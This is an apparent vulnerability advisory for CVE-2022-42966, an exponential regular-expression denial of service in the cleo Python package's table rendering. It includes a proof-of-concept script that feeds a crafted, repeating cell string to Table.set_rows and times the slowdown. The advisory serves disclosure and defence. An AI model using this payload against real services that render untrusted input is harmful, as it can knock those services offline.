< Back

XRAY-257186 - cleo ReDoS

CVE-2022-42966 | CVSS 5.9

JFrog Severity: Medium

Published 14 Oct. 2022 | Last updated 14 Oct. 2022

Summary

Exponential ReDoS in cleo leads to denial of service

Component

cleo

Affected versions

cleo (,)

Description

An exponential ReDoS (Regular Expression Denial of Service) can be triggered in the cleo PyPI package, when an attacker is able to supply arbitrary input to the `Table.set_rows` method

PoC

```
import time

from cleo import ui
from cleo.io.buffered_io import BufferedIO

from cleo.ui.table import Table
from cleo.ui.table_cell import TableCell
from cleo.ui.table_separator import TableSeparator
from cleo.ui.table_style import TableStyle
from cleo.ui.table_cell_style import TableCellStyle
```

```
def column_style(i):
    io = BufferedIO()
    table = Table(io)
    table.set_headers(["ISBN", "Title", "Author", "Price"])

    table.set_rows([
                ["99921-58-10-7", "Divine Comedy", "Dante Alighieri"],
                TableSeparator(),
                [TableCell('<0=,' + '000=0'*i + '00=0>', colspan=3,style=TableCellStyle())],
                TableSeparator(),
                [TableCell("Arduino: A Quick-Start Guide", colspan=2), "Mark Schmidt"],
                TableSeparator(),
                ["9971-5-0210-0", TableCell("A Tale of \nTwo Cities", colspan=2)],
            ])

    style = TableStyle()
    style.set_pad_type("left")
    table.set_column_style(3, style)
    table.set_column_style(2, style)

    table.render()


for i in range(1000):
    start = time.time()
    try:
        column_style(i)
    except:
        pass
    print(f"{i}: Done in {time.time() - start}")
```

Vulnerability Mitigations

No mitigations are supplied for this issue

References

NVD

< Back

Cookies Policy

Privacy Policy